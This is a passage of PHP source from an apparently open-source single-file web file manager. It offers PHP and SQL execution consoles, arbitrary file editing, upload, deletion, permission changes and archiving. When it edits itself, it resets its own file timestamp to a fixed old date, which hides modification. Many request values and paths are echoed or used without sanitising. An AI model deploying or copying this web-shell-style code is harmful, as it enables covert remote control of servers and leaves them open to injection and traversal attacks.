<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
